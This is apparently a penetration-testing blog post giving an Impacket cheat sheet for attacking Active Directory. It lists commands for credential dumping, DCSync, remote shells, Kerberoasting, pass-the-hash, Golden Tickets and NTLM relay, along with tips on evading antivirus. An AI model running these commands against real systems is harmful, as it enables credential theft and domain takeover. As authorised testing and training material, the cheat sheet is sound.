root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat impacket.md
// Active Directory

Impacket

21 Jul 2026 · 6 min read
Impacket is a collection of Python scripts that natively implement network protocols such as SMB, MSRPC, WMI and Kerberos. It is the go-to arsenal for attacking Active Directory from Linux: remote shells, credential extraction, roasting and lateral movement, all without relying on a Windows host.

Every Impacket script speaks the protocol directly, so authentication is the pivot: username and password, an NTLM hash with -hashes for pass-the-hash, or a Kerberos ticket with -k. Picking the right executor (psexec, wmiexec, smbexec or dcomexec) matters because each uses a different mechanism and leaves a different footprint on the endpoint.

1. Beginner level — shells, dumps and roasting

IMPACKET cheat sheet — Beginner
CommandWhat it does
secretsdump.py dom/user:pass@<t>Dumps hashes and secrets from the system
psexec.py dom/user:pass@<t>PsExec-style remote shell
wmiexec.py dom/user:pass@<t>Remote shell via WMI
smbexec.py dom/user:pass@<t>Remote shell via SMB
GetNPUsers.py dom/ -usersfile u.txtAS-REP Roasting against a list of users
GetUserSPNs.py dom/user:passEnumerates SPNs for Kerberoasting
smbclient.py dom/user:pass@<t>Interactive SMB client (FTP-style)
lookupsid.py dom/user:pass@<t>Enumerates users/groups by SID bruteforce
samrdump.py dom/user:pass@<t>Enumerates users via the SAMR protocol
rpcdump.py <t>Enumerates the exposed RPC services
ntlmrelayx.py -t <t>Relays captured NTLM authentication
mssqlclient.py dom/user:pass@<t>Interactive client for SQL Server
reg.py dom/user:pass@<t>Queries and modifies the remote registry
ticketer.py -nthash <h> -domain-sid <sid>Generates a Kerberos Golden Ticket

2. Advanced level — DCSync, tickets and relay

IMPACKET cheat sheet — Advanced
CommandWhat it does
secretsdump.py -just-dc dom/user:pass@<t>Dumps only the DC's NTDS.dit (DCSync)
GetUserSPNs.py dom/user:pass -requestRequests and displays crackable TGS tickets
GetNPUsers.py dom/ -usersfile u.txt -no-passAS-REP Roasting without prior authentication
secretsdump.py -hashes LM:NT dom/user@<t>Authenticates with an NTLM hash (pass-the-hash)
psexec.py -hashes LM:NT dom/user@<t>Remote shell authenticating with a hash
ticketer.py -nthash <h> -domain-sid <s> -domain d uBuilds a customized Golden Ticket
raiseChild.py dom-hijo/user:passEscalates from child domain to the full forest
secretsdump.py -sam s.hive -system sy.hive LOCALExtracts hashes from local SAM/SYSTEM files
wmiexec.py -k dom/user@<t>Executes authenticating via Kerberos
ntlmrelayx.py -t <t> -smb2supportRelays NTLM forcing SMB2 support
getST.py -spn <spn> dom/user:passRequests a Service Ticket (S4U2Self)
dcomexec.py dom/user:pass@<t>Remote shell via DCOM
addcomputer.py dom/user:pass -computer-name PC$Adds a computer to the domain
karmaSMB.py -smb2support archivo.txtStands up a rogue SMB server to capture hashes

3. Details people miss

  • The target format is always domain/user:password@target; dropping the domain or flipping the slash is the most common mistake and causes authentication failures that are hard to diagnose.
  • For pass-the-hash with -hashes you must pass the full LM:NT; if you only have the NT, pad the LM part with aad3b435b51404eeaad3b435b51404ee (the empty hash).
  • psexec.py creates a service and often trips antivirus; wmiexec.py and dcomexec.py are much stealthier because they never touch disk, so weigh that when choosing an executor.
  • For Kerberos techniques (-k, Golden Tickets, S4U) the clock matters: more than 5 minutes of skew with the DC triggers KRB_AP_ERR_SKEW errors, so sync with ntpdate first.
  • ntlmrelayx.py will not work against hosts that enforce SMB signing; check signing beforehand and remember you cannot relay an authentication back to the same originating host.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.